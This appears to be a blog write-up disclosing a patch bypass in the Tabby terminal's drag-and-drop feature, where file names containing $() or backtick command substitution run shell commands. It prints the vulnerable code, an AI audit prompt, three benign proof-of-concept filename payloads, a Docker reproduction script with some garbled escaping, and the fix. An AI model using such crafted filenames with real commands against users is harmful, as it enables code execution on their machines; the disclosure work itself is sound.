Skip to main content

Command Palette

Search for a command to run...

Drag-and-Drop Path Injection Still Allows RCE via Shell Command Substitution

Published
6 min read
Drag-and-Drop Path Injection Still Allows RCE via Shell Command Substitution

I. Introduction

Tabby is an open-source, highly configurable terminal emulator for Windows, macOS, and Linux. It supports local shells, SSH connections, WSL, serial ports, and telnet all from a single modern interface built on Electron. Users can manage profiles, themes, plugins, and multiple concurrent sessions through a polished UI, making it a popular choice among developers and sysadmins for day-to-day system work.

With Tabby, users can drag files directly from their file manager onto an open terminal tab, and Tabby will automatically insert the file's full path into the active shell a small but genuinely useful quality-of-life feature.

Vulnerable Version: Tabby v1.0.233
Advisory: https://github.com/Eugeny/tabby/security/advisories/GHSA-mq9v-2pgm-fxgh

CVE: CVE-2026-46709


II. Target Selection

Reading a few basic pieces of information, it seemed like a very promising target. It is an Electron-based terminal emulator by design it writes user-controlled input directly into live shell sessions. There was also a recent prior advisory (GHSA-m937-jm93-pfp6, May 7 2026) for a similar class of bug in the same drag-and-drop feature. That told me two things: the area had been looked at recently, and the patch may not have been thorough. Incomplete remediations in a narrow, well-understood attack surface are one of the most reliable sources of bypasses.


III. Finding

After cloning the repository I immediately proceeded to prompt for bug hunting. Here I used:

  • Claude CLI

  • Model: Claude Sonnet 4.6

My starting point was the patch for GHSA-m937-jm93-pfp6. Reading it, I could see it only stripped C0 control characters (\x00\x1F, \x7F) to prevent newline-based auto-execution. It said nothing about shell metacharacters. My hypothesis was that $() command substitution and backtick expansion both of which POSIX shells evaluate inside double-quoted strings were completely untouched.

I used the following prompt (I also used AI to generate this prompt based on the application's source code and the prior advisory):

You are a senior offensive security researcher specialized in Electron applications,Node.js, shell injection, and terminal emulator security.

Your task is to audit the Tabby codebase 

IMPORTANT:
- POSIX shells expand $(...) and backticks inside double-quoted strings.
- Double-quoting a path does NOT neutralise command substitution.
- PowerShell also expands $(...) inside double-quoted strings.
- Think like a bug bounty hunter building a working PoC for a patch bypass.

Your workflow:

1. Locate the path-drop handler
   - tabby-electron/src/pathDrop.ts
   - injectPath() function
   - Any code that takes a file path from webUtils.getPathForFile() and calls sendInput()

2. Trace exactly what sanitization is applied to the path before it reaches the shell:
   - What characters are removed?
   - Is the path wrapped in single quotes or double quotes?
   - Are $ ` " \ escaped before injection?
   - Is bracketed-paste mode used?

3. Identify dangerous patterns:
   - Paths double-quoted without escaping $ or `
   - No escaping of shell metacharacters
   - Raw bytes written into PTY input with no further filtering

4. For every candidate:
   - Show the exact vulnerable lines
   - Explain why the existing sanitization is insufficient
   - Provide malicious filename payloads
   - Confirm which shells are affected (bash, zsh, sh, fish, dash, PowerShell)
   - Explain how a malicious file reaches the victim (Content-Disposition, archive extraction, USB, SMB)

5. Build a practical PoC:
   - Construct filenames that cause command execution on drag + Enter
   - Cover: no space (\(() substitution), with space (\)() inside double quotes), backtick
   - Write a self-contained Docker reproduction that transcribes injectPath() and tests each case
   - Describe the end-to-end attack scenario on a real Tabby install

6. Be skeptical:
   - Check whether any sanitization layer exists below sendInput()
   - Verify whether bracketed-paste mode is in use for dropped paths
   - Confirm the fix from e70fafdf does not remove any part of the payload

Output format:

## Candidate N
- Vulnerability type
- Affected file and function
- Vulnerable code snippet
- Why sanitization fails
- Payload (malicious filename)
- Expected shell behavior
- Affected shells and session types
- Impact
- Confidence level

The AI confirmed the bypass immediately and identified the exact vulnerable function. Here is the vulnerable code in tabby-electron/src/pathDrop.ts at HEAD 7e94e67:

// tabby-electron/src/pathDrop.ts:22-29
private injectPath (terminal: BaseTerminalTabComponent<any>, path: string) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')   // only fix from GHSA-m937-jm93-pfp6
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    terminal.sendInput(path + ' ')
}

The function strips control characters, then wraps the path in double quotes if it contains a space, then writes the result verbatim into the PTY. It does not escape \(, `, or ". Per POSIX.1-2017 §2.6.3, \)(...) and backtick substitutions are expanded by the shell inside double-quoted strings the double-quoting actually makes the space-containing case worse, because it guarantees the payload is evaluated as part of a single shell token.

I continued to use AI to verify the behavior and build the final PoC payloads:

Payload 1 - No space, $() substitution:

/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf

Payload 2 - With space, $() inside double quotes:

/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg

Payload 3 - Backtick substitution:

/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md

A self-contained Docker reproduction was built that transcribes injectPath() byte-for-byte and runs each output through a real bash:

injectPath.js:

function injectPath(path) {
    path = path.replace(/[\x00-\x1F\x7F]/g, '')
    if (path.includes(' ')) {
        path = `"${path}"`
    }
    path = path.replaceAll('\\', '\\\\')
    return path + ' '
}
process.stdout.write(injectPath(process.argv[2]))

run-poc.sh:

#!/usr/bin/env bash
set -u
OUT=/tmp/tabby_drop_rce_log
rm -f "$OUT"

run_case() {
    local label="\(1" raw="\)2"
    local injected; injected=\((node /poc/injectPath.js "\)raw")
    echo "===== $label ====="
    echo "  Raw filename : $raw"
    echo "  Tabby sends  : ${injected}"
    bash -c "cat ${injected}" >/dev/null 2>&1 || true
    if [[ -s "$OUT" ]]; then
        echo "  RESULT       : RCE confirmed:"
        sed 's/^/                 /' "\(OUT"; rm -f "\)OUT"
    else
        echo "  RESULT       : (no side effect)"
    fi
    echo
}

F1='/home/victim/Downloads/report$(id > /tmp/tabby_drop_rce_log).pdf'
F2='/home/victim/Downloads/holiday photo $(id > /tmp/tabby_drop_rce_log).jpg'
F3='/home/victim/Downloads/notes`id > /tmp/tabby_drop_rce_log`.md'

run_case "1) no space, \\(() substitution"           "\)F1"
run_case "2) with space, \\(() inside double quotes" "\)F2"
run_case "3) backtick substitution"                 "$F3"

Build and run:

$ docker build -t tabby-pathdrop-poc .
$ docker run --rm tabby-pathdrop-poc

The marker file /tmp/tabby_drop_rce_log was populated in all three cases id executed by the shell. None of the three filenames contain control characters, so the e70fafdf patch has nothing to remove and provides zero protection.

The fix in v1.0.234 switches to single-quote wrapping with proper embedded-quote escaping:

path = "'" + path.replace(/'/g, `'\\''`) + "'"

I submitted the bug shortly afterwards; the Tabby maintainers confirmed the issue and issued a hotfix.


IV. Timeline

  • May 7 2026: GHSA-m937-jm93-pfp6 patched control characters stripped in commit e70fafdf, advisory published

  • ~May 2026: Bypass discovered $() and backtick substitution unaddressed by prior fix

  • ~May 2026: GHSA-mq9v-2pgm-fxgh submitted to Tabby maintainers

  • ~May 2026: Tabby team verified and opened the security advisory

  • v1.0.234: Hotfix released single-quote wrapping applied, shell metacharacters neutralised